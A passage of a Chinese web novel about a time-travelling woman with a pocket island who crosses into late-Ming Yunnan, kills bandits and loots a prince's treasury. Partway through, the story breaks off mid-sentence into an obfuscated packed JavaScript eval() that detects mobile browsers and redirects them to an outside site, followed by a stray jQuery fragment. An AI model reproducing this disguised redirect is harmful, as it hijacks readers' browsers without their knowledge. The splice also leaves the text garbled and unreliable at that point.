原来的牛奶女郎不做了,她得另外找个没有将牲畜饮水甚至污染河水掺进牛奶里的供应商,这事比追悬案有价值多了。 在卫生纸终于面市的时候,苏茜刚找了中介打算将房子转手,下午就迎来了理想中的买家。 “……自从那以后,我妻子每晚都要做噩梦。我们急着要搬离那个越来越可怕的街区。”男士非常有诚意地送上本票。五千,去掉每年交的房屋相关税和交易税费,在这个年代算还可以的投资回报率,关键是还省下房租开支。 “好的,我也正打算去剑桥那一带定居。伦敦太吵了。”苏茜微笑。 这辈子算是赚了。 66.谁赚谁的锅(一) “桐谷人打过来了!” “又要征税吗?我家可没钱,稻子也还没熟呢。” “听说要征人!隔壁村的人说要征兵。” “啊呀,我让我家几个小子跑远些。” “……什么呀……又能跑哪里去……” 于是苏茜就被“派”去山里照顾几个逃征兵的兄弟。 现在她就听着几个在村里都算肥壮的兄弟们打算让自家干巴黑瘦的妹妹去矿上“服务”几天换好处,“也许能换来一颗原矿,然后有一天出门的时候高价卖给德由商人!” 呵呵,要不是苏茜搜遍语言库也找不到本地语言来源,正在根据气候、物产、服饰、样貌估算自己的位置,她早就把这三个小子切掉某根指头作为回报了。 所以兄弟们将她蒸熟的米饭野菜和一点虫豸蛋白全部分光不给她一口吃的,她也没有太计较。在等这些人做梦明天趁自己饿了的时候将自己送去矿上换了颗宝石时,她出手了,每人口鼻用不知道放了多少年的塑料袋套住窒息,再迅速捆住手脚、打死结,最后将紧紧贴住面皮的塑料袋,连同他们带来的衣服、米粮和腌制食品,呃,除了虫豸,以及铜钱全部拿走。 她离开的时候,这三个家伙还活着,一身这种条件下还能养出来的肉足以支撑到自己弄断细麻绳。至于以后,与她无关。 家?小岛就是自己家,其他的压根不是。 先将储存的一点咸肉和菜干吃掉,接着苏茜根据记忆里“矿”的方向,走了半夜,才回岛。喝水,做饭,跳进凉飕飕的海里洗澡洗头抓鱼,洗衣服,睡觉。 傍晚醒来,她换上大半干兄弟们的衣服出岛,做饭做野菜鱼汤——幸好这个身体没有海鲜过敏问题——好在这时的“长”裤并不长,加上营养严重不良导致的平板干瘪身材,以及适当的变音,所以她装扮成男孩时并没有太大的违和。 再走一段就到了目的地。 所谓的矿,已经接近一个小山村。矿主就是地主,矿工都是自家雇农家的半大孩子,头目都是地主家人。 而且矿很小。 和好几名雇农聊天后,苏茜大概知道矿上的“困境”和“德由”的大概方位。前者就是没有加工匠人、宝石原矿卖不出价,后者从大元将领延伸到大明商人。 苏茜说自己想逃兵役,去走德由的商路。“这是一位贵人给我的,我想换你这里已经开采出来的原矿,然后出去找工匠加工,再买头驴去德由内地……” 地主家的几个瘦巴巴的妇人互相看看,再仔细研究过苏茜给的足金戒指“样品”,最终由一位老者搬出一个筐子,全部是没有切割过、还有留有不少石头没有打磨干净的红色尖晶石。 苏茜则是“很有诚意”地将一个小包全部拿出来,里头是金灿灿的好几件饰品。 矿主家还给了全套的打磨工具,不过苏茜没找他们买驴子——她压根不会买。 “好,谢谢,希望以后有机会再见。”苏茜很有礼貌地行礼告辞。然后背起相当沉重的背篓。 “但愿他能活着赚到钱回来。”干瘦的老者自言自语着。 苏茜一出来就转到山路上,将接近三十公斤的石头和金属工具放回岛上。这个身体干活多、吃得少,看似力气比较大,其实先天底子快掏空了,所以她并不想在矿的附近对付闻讯而来的劫匪。 岛上歇了一晚一天,苏茜才缓过来,换了身更加糟的衣服,戴着破头巾,像是耽搁了回家时间的倒霉农人,背着一个不大的破筐向北走。 这边四季都是热的,只有热和很热的区别,抑扬顿挫、恍惚中一些音节比较耳熟的东南亚风格方言,晒黑而非天然黑的肤色,产量不错的水稻,还有式样眼熟的铜钱。最重要的是在本地人看来“很一般”、对她而言品质不错还个头颇大的红色尖晶石,基本上能确定往北偏东方向走肯定是对的。 岛上的天气在慢慢变热,现在是暮春初夏,气候舒适,就是只有海鲜和海带,以及之前无数年囤积的东西。 苏茜一边慢慢整理,一边恢复修炼,几天后才开始练武。她距离滇省估计还有好几百公里——有建设质量很好的公路的情况下。可现在连滇缅公路都没有,两三千公里上下山路加土路,很难说是不是还要碰到冬季高山的双重压力,想也知道是个多艰难的旅程。 再难也得行啊,她可不会耗在这个倒霉的热带战乱小国。 所以得现在准备好口粮、树木、种植园和保暖物资。 先顺手砍树、有秸秆就“拿”点,再绕过“家人”可能去的村庄集市沿路找其他买得到口粮和其他食材的地方。另外,种植园里一片荒芜,需要连根带土地移栽她认得的蔬菜,不然只能天天吃海带汤。 所以为了买吃的,苏茜一直跑到岛上的夏季快结束,才翻过两个山区。 继续上路。 沿着河往上游走,减少一些翻山越岭的消耗。因为整个地区都是山地为主,平原比较少,这样导致了夜间走山路不是个好主意,而白天同样好不到哪里去。 苏茜已经数不清被蛇虫和动物攻击了多少回,但收拾的劫匪根本没几个铜板,要不是路过一户大户用俩金戒指换了一袋米、两套半新的衣鞋和一些铜钱,她现在是身无分“文”,连买米和拖鞋的钱都没有,更不好说买蔬菜水果和果干。 这里人不愁绿叶菜吃,但苏茜需要自己做菜干,所以得成筐地买菜。 说实话,这种可以系在脚上的拖鞋走湿地还挺好用——天气反正不怕浸水着凉。就是回岛的时候会冷一下,所以岛上的壁炉火塘,以及煤炉上的热水是压根不能熄灭的。 岛上到了最冷的季节时,苏茜满脑袋的问号看看河水再看看指南针:眼前这条河的上游,是华国还是又绕回原身的那个南亚国家? “这里从来没有德由的商人经过。不过听说那个方向,看到那个水面反光的豁口吗?有一条不怎么好走的山道,那里偶然会有商队经过,但哪里人就不知道了。”山里这边的方言区别不小,但好歹双方隔得远、所以没有仇,苏茜问到了一些情况。 “哦!谢啦!你这些蘑菇卖吗?” “卖啊。” “我用一个老人家换给我的银戒指,能换你的蘑菇,还有背篓,再加二十个铜钱吗?”银很值钱,苏茜这几个月到处找集市也不是白绕路的。 “但是我只有十五个铜钱。”黑瘦的汉子看到化学剂“洗”过的银戒眼睛发亮。他的蘑菇真不值几个钱,很实诚地倒翻口袋,数来数去只有十五个铜钱。 “好,算了算了。”苏茜将银戒塞到他手里,背起蘑菇就走。 但是在转过一个山坳的时候就回了岛上,然后想追踪的人连影子都找不到。 这半年多时间里,苏茜的体质明显改善了不少,体能更是赶超职业运动员,哪怕这个身体还没成年而且经期非常有问题,忽多忽少和痛经即使修炼了这么久也只是改善,做不到根治。另外,储存的脱脂棉花当卫生棉肯定用不到一辈子。而她现在压根找不到棉花,连衣服都是靠之前存着的料子手缝——缝纫机毫无疑问地不能用了,线和布料都有问题,但破烂程度倒是让她山民穷少年的人设更加真实。 …… 凌晨,最冷的时候,迷迷糊糊醒来,壁炉与火塘间放着的小桌底下油灯里发出不错的光。木头都烧完了,难怪觉得冷。换木头在油灯上点燃,继续添加到灰堆里,然后室内用个马桶,清洁了继续躺下睡。这一觉睡到太阳升起。由于没有准确报时,收藏着的两只表都用不上,估计以后也用不上。 现在大概是八九点,先套上保暖外衣——与毛毯、布料等同样质量堪忧,好在岛上的冬季不算太寒冷。海鱼干和菜干加点芝麻香油一起蒸米饭,粗海盐刷牙清水洗脸清洁马桶,然后修炼。 修炼结束正好吃早饭。因为日照不足,她的海盐都是海水直接煮,煮成粗海盐之后再加水、细纱布过滤后蒸发得到吃饭用的,半粗盐。成品称不上精盐,但她的这片海没有她本人以外的污染源,还是挺安全的——不安全的后果也是她自己背。不过有时不喝汤只煮熟海鲜的话,她会直接用海水煮,因为食材极度新鲜甚至有的还会动弹,做出来的食物不但不腥反而带着鲜甜。 吃早饭的同时用小锅烧水,水开后将本地粗茶扔进去,然后封大半炉门改为最小火,保证随时有热茶水喝。煤有得是,这样烧着吃喝的话能用个两百年。但苏茜有燃料焦虑症,不把燃料山洞填满会心慌,所以没事就砍树锯木头,冬季也是在石屋里堆木头,边干燥边烧着用。 草木灰的用处太多了。 睡足吃饱、身体恢复,换上衣服上路。 看山跑死马,看到豁口走断腿。苏茜起码走了十五个小时才走到“老乡”告知的有商队经过的山路。 果然是商路的样子,因为路上有粗粗打磨过的石板,除了大城市,也就是大量商队经过的道路会有人联合起来修路。可石板路只有一段,接下来又只是土路。但商队甚至车辆行经的痕迹更明显。 现在还没到雨季,路况算是好的。 苏茜走在第三天的时候,就看见反方向来了支商队。全马匹,但马的品种是适合山地行走的体型。周围护卫兼力工兼销售都长得平头正脸、身材健康,服装样式接近她的,但质地好得多。货物包裹得非常严实,看不出来是什么,可他们中的一些人方言口音明显不一样、发音体系全然不同,不过有一点她基本确定,这些人中的一部分应该来自于中原王朝,具体哪个朝代就不清楚了,但从银子的使用流通来看,肯定是唐以后。 走了半年都不知道自己现在在哪块区域的苏茜简直想高兴大笑。之后不提顺不顺利,起码路线是对的。 沿着大半泥小半石的道路翻过三个小峡谷和一座显然超过一千米的山坳——两边的山估计接近或超过两千米,她来到一个小城市。 岛上到夏季了,出海不怕淋雨,屋内不用生火,就是生活物资依旧奇缺,还有生鲜,天天野菜与海带海鱼也是够呛。还有一出岛就是蚊子,真是无奈得很。 在优质蛋白质和足够热量的支撑下,苏茜长高了些,枯瘦干瘪被一层薄肌覆盖,显得像样多了。还好,自己买衣服鞋子都刻意找略大的。 凌晨出岛找集市。还没找到地方,人逐渐多起来,混杂的感觉立刻鲜明起来,有不少民族,甚至有些应该是滇省那一带特征的服饰,不过关口征税的是南边王国的士兵。苏茜这里过去的穷光蛋也要交五个钱,总之不论是哪一方,进来按人头和马匹交钱,出去自由。如果不想交钱,就从边上的山里绕过去——光是走山路消耗的食物和力气就抵得上入城费,更不要说山间的种种危险。 先买菜。不仅是人工培育、口感好很多的菜,以及杂粮、大米、鸡鸭鹅蛋,还有肉类活禽,甚至可以预订一只猪、一头羊。现在天热,苏茜对容易变质的蛋白质比较谨慎,只买了几个本地人光顾最多的鸡蛋摊子。菜就买得多了,一整筐带回去做菜干。 香油菜油这类则是在比较大的铺子里,除了灯油和蜡烛,她甚至还买到桐油。真是除了贵、死贵,种类齐全得跟城市规模不匹配。 火速送回岛再转回主干道。整条主街都是商业街!一半卖货物,一半卖补给和食物,两头都有马骡驴甚至揽活的力夫。主街后就是高高低低的民房,延伸到山坡上,可以看出来建筑质量好的多数是商户富户和官吏世家,娱乐场所也占了好几条巷子的范围。 苏茜找上装潢门面最好、有卖饰品宝石的店铺,用十块由金条砸成的金饼换了一小筐品质中上、有打磨过但没有雕琢的整块翡翠石、两锭银锭、两把碎银和两袋铜钱——钱币都是“对面”的。这个交易是在铺子后院,如果有人来劫掠,她会处理掉劫匪后找这家铺子“索赔”。 不管怎么样,这个价格肯定比原产地贵很多。想想之前红色尖晶石的买入价就知道。她对尖晶石还了解些,对翡翠所知甚少,买现成的肯定好些,何况几百年后不仅价格完全看不懂,连真假都很难区分。 她谨慎地从后院的一扇门出来,融入另一个街区,继续找摊位店铺,买了一个新的背篓、三套棉布成衣男装、和一大堆食物,甚至还有价格偏高的小麦面粉和外伤药,还可以直接买到“珍贵”三七磨的粉。现在不算很“古代”,尤其铜钱最多的是万历通宝,所以现在是明国,有辣椒、土豆、玉米可是还没有推广开的明国。 看看自己仍然黑瘦如鸡爪的“天足”,她还是继续穿男装吧。 城里人不少,苏茜的蓝灰棉布衣服和煞风景的背篓显然是商队最底层,即使衣服上没有补丁,跟穿着绸衣带着随从的商人相差一整个阶级。 “尝尝这个,很好吃。”一脸“和善”的光头大汉卖力推销着一种热气腾腾、闻起来有甜香味的糕点。 “三块!谢了,哥。”苏茜给钱爽快,还用很亲切的称呼,让大汉很高兴。 小城里的语言方言那真是一团乱麻,苏茜起码听到四种发音体系,其中有两种是她一点印象也没有的,这很不容易,因为她连马印泰蒙这样的都多少懂一点,更不要说中华大地的方言。加上说话人的长相,猜测可能是藏语系。 松软的、用蔬菜汁染成彩色的甜糕不是齁甜的那种甜,而是少许糖加上麦芽糖的甜味,还有一层薄薄的野菜馅料。 意外的好吃! 有几个路人见她大口吃得香甜,也跟着买了。大汉乐得更加大声地推销。 三块糕下肚,什么都吃不下。 也该上路了。这个小城没有客栈,只有民居,逗留时间久了会引来不必要的关注。 苏茜背着背篓出另一边的关口。然后还知道其实另一个方向的山道才是商队走最多的,自己来的那条只有对山区做生意的才会走。 接下来的路况竟然更糟糕了。别说新买的布鞋,新买的草鞋和木拖都要摔。最稳当的居然是光脚踩着别人的脚印和马蹄印走——就是要小心马粪。 苏茜试着穿着拖鞋走,似乎比草鞋好用点。 等过了一段,下坡路,再上坡时,突然道路就成了石头台阶。石头就是石头,再斑驳毁损也还在,且一点也不陡,全是缓坡,极为适合马队商队行走。 上了坡,又是个关口。 苏茜换上背袋,背了背篓。 守卫是明军的服饰,要验身份。她是外国小行商,来卖原石的。这个原石全部是随便捡的有那么一丝发绿的石头,结果除了人头费、入境腰牌钱,还被守卫拿走一块“翡翠原石”。 苏茜快速走过这个关口,除了随手买的熟食和成衣鞋子外,一点没停地继续走。 如果留在这个小关口,难保不被上当的守卫找麻烦。 沿着唯一的道走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248417|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个傍晚和一整个晚上,苏茜才回岛上休整。半夜就烧起来的烤炉现在正好烧饭菜,接着喝炉边的凉茶水,洗衣服洗头洗澡。洗完,吃饭。用传统烧木头的烤炉做饭做菜是她长久以来的自创,另外,如果能买到面粉,她也会做面包或馅饼。 吃完先修炼,再练会儿武,睡个白天觉。 下午起来,烤炉里温着的水正好喝。蒸个野菜腊肉米饭,肉是前几天买的,也就是尝个味道,她可不敢多吃。 然后出海捕鱼。一大一小两张渔网以及鱼竿等是家乡附近的河边买的,这个身体在海水中睁眼就会红肿,且潜水时间短,仍然需要多锻炼。等弄到大小四条鱼后,回来吃有些蒸过头的饭。渔获不好或身体情况不佳的时候,赶海挖贝壳捡现成的那片礁石滩是她新鲜蛋白质的主要来源,所以她平时能出海都出海,最多去礁石滩碰碰运气看有没有搁浅的鱼蟹。 晚上没有出去,练武修炼后睡觉。外面依旧是偏热的山地气候,而岛上天气渐凉,可见是秋天了。 第二天,吃了早餐,系好头巾,穿上草鞋,一身短打出岛继续赶路。 * * * 眼前有两条路,一条偏东,一条偏西,可山路这玩意的方向是不好说的。周围无人,更没有指示牌。所以,自己急急忙忙赶路过来,是打算去北平还是金陵?还是待在滇省?或者去其他地方?要不还是去庐山那一带隐居?或者曾经的“家乡”蜀中?反正即使要在滇省定居,也得往东。 抬脚就走。 可能是路况不熟,走了十个半天,才到达一个不大的镇子,或者说是铺站。青石板路,四条小商业街,客栈茶酒楼饭馆子以及路边吃食摊,丰俭自便。还有官方驿站,就是不允许普通人踏入。苏茜高兴地继续换银子跟钱,准备买一堆调味料和黄酒的时候,她发现了一件惊恐的事情: 手里的铜钱有崇祯通宝! 她都没敢问别人现在是崇祯几年,而是到处找、终于买到一本黄历。可惜,上面依旧没有年份,她根本不会算天干地支。 太可怕了,她现在应该干嘛? 回这个身体的家乡是不可能的。 至于留发不留头,她到底要不要剃头?要不曾经地震过的锦城老家附近青山上当个修道的得了,至少饮食是曾经熟悉的。此外,她会做“古典”道袍的哟!不是改良款,是完全不存在身材剪裁的那种。 或者过些年说自己是个寡妇,寄居庵堂或者闭门不出也行。 茫然了两天,苏茜决定去青山。 用外国行商腰牌和磕磕巴巴的本地方言打听了下,锦城距此地三千多里路,大半是山路,跟着马匹走,先向东再往北,别往西就对了。 采购得差不多,继续前行。也就是俩小时比较平缓的山路,远远的,苏茜看到一支队伍,前后十几匹马,中间是雇佣的力工,甚至有男有女,间隔是一些衣着稍微好些的人。从她的角度没有见到领头的商人之类,但能看到至少有好几个人带着武器。她没跟上,而是落在后面,采摘移栽自己辨认得出来的安全可食用野菜,期间还杀了一条蛇,不管有毒无毒砍了蛇头再用刀扔远。回去在海边剥皮切段清洗,先焯水,后用花生油炒,再加调料红烧。 花生油是当地产的,这时可没有黄曲霉素检测手段,没敢多买。但不得不说,这油很香。 调料充足的好处就是吃得好,尤其是铺站的东西除了贵,没太多可挑剔的,甚至连牛肉偶然都有,虽然只抢到一点点,但做麻婆豆腐绰绰有余——就是没买到辣椒,大概是此时仍然没有将这种调料推广开。还有风、腊、咸、腌的各种肉类,反正吃之前提前浸泡一天就可以降低亚硝酸盐风险。 至于茶,简直是天堂。苏茜整块整包的买,放进卖家送的瓮里,可以存颇长时间。这里甚至还有陈皮之类药食同源的食品,虽然不是最好的,但苏茜看到能吃能存的统统买。光吃的,就是用金子买,可想而知其价格。 所以等她上路的时候,毫无疑问后面有尾巴。 来得正好不是吗?正缺战利品呢! 一两个直接砍,两个以上弓箭先掀翻一个是一个,接下来就是冷武器,最后想逃脱的上左轮。 总之,一个不留! 不过这一批的战利品,虽然钱财不多,撑死百来两银——他们可能有据点,东西都在据点,或者大部分都用掉了,但有些东西倒是很有价值。 比如商引,居然弄到好几张。不排除其中有抢了别人的,但其中有一张锦城的行商傅苏行,二十岁人,高五尺,貌黑。 五尺,一米六左右,自己现在不高,可也没有像不少妇女那样不到一米五,穿双靴子、里面垫些高度凑合一米六大概差一点,就用来当自己的“通行证”吧! 估计这几年还能再长高一些。 实在不行,终极手段是等明亡了,到清的各项制度完善,得有些年头,加上西南总体控制得不严,怎么也得康熙年间才稳定,那时自己都是“老妪”了,可以当个安全的寡妇。 接下来的铺站,苏茜只买几天的肉食和少量必需品,花的是有些发黑的小颗碎银,没有引起任何注意,更没碰到劫匪。 一路上商队络绎不绝,隔天肯定碰到一波。苏茜觉得颇繁荣,而铺站的货栈老板摇头叹息。 “日子越发艰难!看来我这生意要关张。” “梁翁,陕边再打,也到不了这。” “商队才往来这么点,交的税可一文不少,还要加!还要交平叛粮!”他最怕自家儿子被拉走服役再也回不来,虽然他妻妾生了三个儿子,可折损任何一个都舍不得啊!“就怕……” “……唉!我家大儿有了儿子,二儿还没成亲!晚些就去找媒婆去!大脚婆娘也行,能生儿子就好!” “……” “……” 几个营养不错的中年男子唉声叹气年景不好的同时,也不忘享乐,居然还在交流白嫩的缅女还是小脚的伎子哪个性价比更高之类。让人不知该说什么。哦,她是一身力气的黑皮干瘪大脚,不符合条件,只能做粗使丫头。 苏茜在铺子里买了不少,才打听到这里有卖棉衣成衣,之前的几个都没成衣。要是这个铺站不卖,她不得不停下来等定做。 厚薄夹单棉衣裤鞋靴的,她几乎将自己今明两年要穿的全买了。 下一段山路略麻烦,海拔应该快三千米。到冬季了,以苏茜现在的体质,薄棉布不停走路还是觉得冷,厚棉衣出来就又嫌热,有些尴尬的季节,不得不外披一条破旧薄毯当长斗篷倒是正好。 一米多宽的山道很不好走。 好在这段山路并不长,经过一个转圈向下、恐高症不能走的陡坡,这种海拔带来的寒凉渐渐转为温和。 等到了下一个铺站,不少人热得穿夹衣。苏茜还是穿价格大概是平地一倍的薄棉衣,也就是比夹衣暖和些,性价比低又不得不买。棉衣都是成衣,她能当宽松中长款穿;棉裤用绳带绑脚一系就能搞定,也所以各个身形难看。 买好了生鲜,大部分做成菜干,再继续走。她能看到雪山和深谷,以及经过的马队小心翼翼的样子,想象着先人用命趟出来的路。难怪很多东西原产地也只是比较贵,可到几千里外就成了奢侈品。之前买的茶叶和原石真是划算到家了。 调整呼吸和节奏,继续爬山,当作是锻炼。 67.谁赚谁的锅(二) 昆城是滇省的大城市,人口多、货物多、消息多。 苏茜好不容易走到这里,过了好几个关隘,交了不少钱。越想越纠结,要不在这里定居?可回去找了两天的史书,她惊愕地发现,除了李闯,还有个一天不杀人就难过、不知道发明了多少残忍杀人手法的人屠张献忠!这位的部下占据过昆城,还接纳过前明的人共同建立政权。 川省被张献忠与他的野兽队伍杀光了啊! 苏茜简直是惊恐的。她一个人再勇猛也不可能跟多少万骑兵步兵对上啊,对付那家伙得亲王带大军打败——不是明末那些猪猡亲王——其他野兽残兵还是靠吴三桂才彻底灭了的。 对此,苏茜只能说,野路子虽然迟早被灭,但造成的伤害堪比若干颗核.弹,类似大家都知道安禄山命不久矣不加重视、却不料直接造成唐国重创。另外就是明末的藩王,干的事情配得上被做成肉菜。不排除这些“史实”有一部分是清代特意丑化的,但大量的记录表明,川省在张献忠死后上百年都没有彻底缓过这口气。 现在还是有商队往蜀中、往锦城,但明显少了。听说那里“闹匪”,比太监乱折腾可怕多了。 思考两天,同时补充耐储存的食物药材和棉衣棉被,苏茜继续往北走。这次不走马队走的商道,而是往江的方向走。她打算顺流而下,看看情况。高闯李闯什么的,也不是那么让人放心。 “……这个数!不能少了!”老头儿讨价还价。 苏茜塞过去一个金饼,沉甸甸金灿灿让老头眼睛都亮了。“别走,给我两吊钱。这还是我抢来的。”她现在方言越发溜了,大山西边的口音让老头忌惮地拿出来两串钱——肯定不足缗,不过苏茜懒得计较,放好桨的同时,还一把抢下老头手里的竿子。“不用见了啊。” “快走快走!” 苏茜估计自己晚上买的船不是老头自己的,搞不好他只是看管人,不过这与自己无关。她一边啃着下午买的熟食,一边撑船,往着河水的下游而去。 河水汇入江中。苏茜差点被弯曲的水道搞错上下游,幸好水流“自动”帮助她辨别方向,带着篷的小船顺江而下。 江水可不是河水,长竹杆用不了。 苏茜换桨,饿了吃熟食,渴了回岛喝茶顺便方便。这样一直划到第二天清晨都没有见到一个渡口或码头。在水面未散的雾气中,苏茜先逐渐靠近江岸边,然后带着船一起回岛。 岛上春风拂面,江上白天依旧湿冷,晚上更凉,偶然飘几滴雨。 苏茜每天划上半夜的船,顺水而下比较省力快速。但碰到弯道她依旧不敢托大,都是隔天凌晨出发,白天路过危险地段。即使如此,她仍然翻了两次船——自然是毫无危险可言。但为了可能存在的目击者,她做戏全套地在水里扒着船漂流下去一段再回岛,晚上继续翻船继续前行。星光月色好的时候,随便下个网,有时能捞几条鱼上来。江鱼普遍偏小且鱼刺多,但味道都不错。 如果远远看到岸边有灯光,就第二天凌晨出来,早上可以去江边的小集镇买些吃的和当地特产。 “三只鸭我都要了……帮我拔毛去头去皮去屁.股去内脏……对,不要鸭皮和鸭油,都给你,等会来拿。” “好!”杀鸭拔毛的净利润比养鸭卖鸭还多一点,因为苏茜只要瘦肉,其他都可以另外卖钱,尤其是内脏和脂肪。 小小的江边集镇,只要别摊上抄家的官吏,多数还能过活。不过米价好像更贵了?简直堪比滇省。面粉还有其他的主食也一样,就是本地出产便宜些,比如好久没吃到的鸭子。类似酱鸭的整只鸭,也买三只,转身间迅速将一批东西放岛上,然后去拿杀好的鸭子。 摊主还将剩下的紫苏小葱等等“赠品”一股脑塞给她,收摊走人。 苏茜也走人。回岛。 好久没做鸭肉料理了。鸭子并不大,去掉脖子腹腔里的杂质,调味加满,炉子上小火炖一只,烤炉里和蔬菜一起做一只,火塘里特意留下的“烟熏”空间也放一只。 烤鸭这玩意技术含量太高,她做不来。就弄些简单的。 寒风起,窝在岛上烤火吃鸭喝苹果龙眼干茶,乐呵两天,继续顺流而下。 好歹在腊月之前,苏茜到了江水穿过的城市。 她在南岸上岸,先在城外茶棚子喝茶歇脚,听人的口音,以及说话聊天的内容。大家不能离家超过百里,因此很少有知道外头的消息,只听说哪边打起来了,哪边如何如何,还有城里大人怎么样、城里王爷如何贪。 对了,是楚王吧?“详史”里似乎提过,这位死于张献忠之手,几百辆车的财物美女都没了。最后美女们全部被杀了,银子都沉江了。 所有,自己弄些注定没好结果的财宝不为过吧? 只是现在不好下手,因为楚王招募了很多“勇士”——简直笑死,这些人中间有内应的。苏茜想了下,买下一担柴禾,然后挑了柴禾混进城里卖。 进城居然十分简单。 她不认路,但转了几圈,放下柴禾,再继续转。走遍颇大的城池,最后定格在有着……三层楼高的墙和有士兵站岗的大门。门前的大街都不能进去。 呵呵,无妨。如果她侧面听来的年份和史书记载都不会变的话,还有几个月这个城就完了。 生灵涂炭。 可经历过伏尔加格勒的苏茜不会有多余的情绪。她不是神,岛上也不能进活物。 对了,留着种植园里的野菜,现在能买现成的菜最好。尤其是此时调味齐全,再买两个炒锅四个砂锅和菜刀菜墩,配合滇省买的汽锅。苏茜干脆天天除了修炼锻炼做鱼干肉干菜干海带干,就是买了新鲜荤素自己做饭菜。 城里的新年似乎看不出来战乱的影响。家家户户都挺高兴的样子。 * * * 没多久,坏消息传过来:张贼招募了十万流民,打过来了! 城里顿时乱套。 “别挤别挤,走开走开!”马车从一户大门里一辆辆驶出来,车旁甚至还有骑马的护卫。现在能用马和马车,很说明问题。 苏茜绕了一圈找到侧门和角门的位置,决定明晚夜探,省得上辈子存的金属长梯去年买的几个木梯竹梯一直放在那里生灰。这个宅子里的东西总会被全部抢劫光的,还不如让她补下物资。 任何时候都保持纪律的军队,还得近三百年后才出现。现在这些都是拿了武器、本来就是靠打劫杀戮才活下来的流民,利益和利益分配驱使他们克服对死亡的恐惧。这一点,那位“张剃头”,每天割两百个脑袋才舒坦的家伙是个天才。那位失业的驿站工作人员也是不得不加入高闯队伍才出头的李闯也一样是天才。于是,乱七八糟的大明亡了,被清捡了便宜。 苏茜边转着乱七八糟的念头,边为第四户人家“收拾善后”。 还是老一套,一身上辈子的衣服,入夜后回岛拿了梯子爬墙进去。 踩到地面就立刻回岛准备宵夜,过段时间再出来翻进一个个落锁的院落,回岛,拿了工业钳子、铁丝出来撬锁,一间间进去“拿”走柜子,箱子柜子里的东西清空再“还”回来。 书就算了,不好保存还占位置。她拿的都是用得到的生活用品,以及即使放在户外也没事的东西。话说,装备充足的时候怎么就没想着再挖一个地窖呢?! 这些布料足够在成为垃圾之前供自己用五十年了。 另外就是放弃可惜,捡了又不知道怎么处理的瓷器。光茶具就弄了那么多套,似乎没必要?装饰漂亮的箱子和栽满花草的花圃全弄成种植箱,敞口瓷瓶可以当雨水缸,不错的木料烧壁炉。她还意外地弄到两大箱子万历、嘉靖、正德甚至还有元代的铜钱作为日常零花。就是贵金属很少,都带走了,只有些边角料,还有一堆香炉,扔也不是、收藏也不值。至于家具家居,她只拿了被褥成衣针线篓子和比较大的桌子用来剪裁布料。 叹口气,回岛,避开忠心的留守家仆。据她所知,之前自己“帮忙收拾”的一户人家被城里的一些居民冲进去洗劫了。望着放在游廊里准备做绿肥的花草树木,转回正确目标,苏茜找到一户距离王府后角门比较近的人家,这家所有人都跑了,只留下笨重的定制家具、灶头等,连锅碗瓢盆床褥帐子茶几马桶什么的都带走。苏茜愉快地决定就落脚在此。 没几天,隔壁一户人家也跑了。 隔壁人家有个阁楼。就是仍然矮于王府墙头。苏茜拿出来自己最长的那个梯子,觉得依旧不够用。这要是当修士或法师的时候完全不是问题,可现在这个身体再练也练不出绝顶轻功啊。所以她连着几个晚上蹲守,终于在干掉一个半夜出角门的家伙后,弄到一身底层太监衣服。皂角洗洗,开水里滚半个小时,炉边晾干——很遗憾岛上这几天都是阴雨天。 自己穿着并不嫌太大,可见王府里的人也做不到每个都人高马大。 接下来,几乎每晚她都看见有背了包裹跑路的。一两个的她直接打伤,抢了包裹走。包裹里什么都有不说,居然还有宫女衣服的。她穿上嫌短,但无所谓。 这一把打劫就赚得多了,除了不算多的衣物,腰牌、路引、商引、金银玉石,什么都有。那个太监身上没有腰牌,现在补全了。 仗着没有监控,苏茜穿着小太监服,趁着一个护卫跑出来后没去打劫,而是溜进窄门。里头也是够呛,没人接应,没人锁门,第二天大家当作不知道。可见这个王府已经彻底乱了。 “……城里的大人们……怎么办……我们……”已经有些控制不住音量的私语几乎能从每一扇打开的窗户后传来。 翻译本史料早就成了垃圾纸屑,上辈子的亚洲史还不如自己的记忆多。苏茜还记得有城中官员弃城而逃、之前一毛不拔的“富贵”王爷被杀了吃肉的文字。具体日期真的不记得了,可现在天气都热起来,估计快了吧? 她每晚在府中的黑暗里晃荡。仓库肯定在前面而非后面,而且肯定有守卫。她找了好几个晚上,几次差点被发现才基本确定有三个大仓库、两个小仓库。苏茜最终决定蹲守护卫数量最少的小仓库。 没几天,府里突然就乱套了。 官员们跑了,包括守军统领。 有几个护卫到处在说打过来了。 苏茜一直没见过这位“王爷”,他的死法她不关心。为了战利品,她已经耗费了半年时间。所以时不时就在白天冒险出来。 终于,被她等到。 仓库门有两把大锁,好几斧子下去才弄掉一个。“愣着干嘛,快来!然后好跑路!快点!”她冲着一名听到奇怪声音溜过来看情况的护卫——外面有人进攻王府的时候还跑来,不是内应就是开小差。 杀了无所谓。 苏茜将斧子给他,“这个我都没力气了。你我二人能装多少就装多少,然后,投降也好,跑路也罢,也有依仗。” 那小子愣了下,果断挥斧。可这人非常没用,砍了十几下都没砍掉另一个。“还是你来!做得好有赏,做不好剁了你!” 苏茜也愣下,接过斧子,随后一斧将对方砍倒。“我先剁了你。” 然后一下看开大锁,再劈开门,进去后里面还有竟然还有道门。 不过外间就堆了不少东西。苏茜犹豫几秒,就将已经死了的家伙和坏掉的锁拖进门,将大门从里面用铁链锁起来。先将外间的箱子盒子一股脑全收走,再劈里间的锁。 足足三道门,五个锁。 苏茜觉得自己两条胳膊都快废了。但收的箱子已经在山洞里堆得很可观了。 不过等她进来第三道门时,顿觉神清气爽。 先收了再说。全收了!外头都打进来了。她都能听到兴奋的叫喊声。 等外面的人好不容易从屋顶上爬进来,只看到空空荡荡连桌椅架子都没有的室内、一具尸.体和被铁链封死的门——门缝太细刀伸不进来,也很难撞开。 另一头的苏茜也很郁闷。 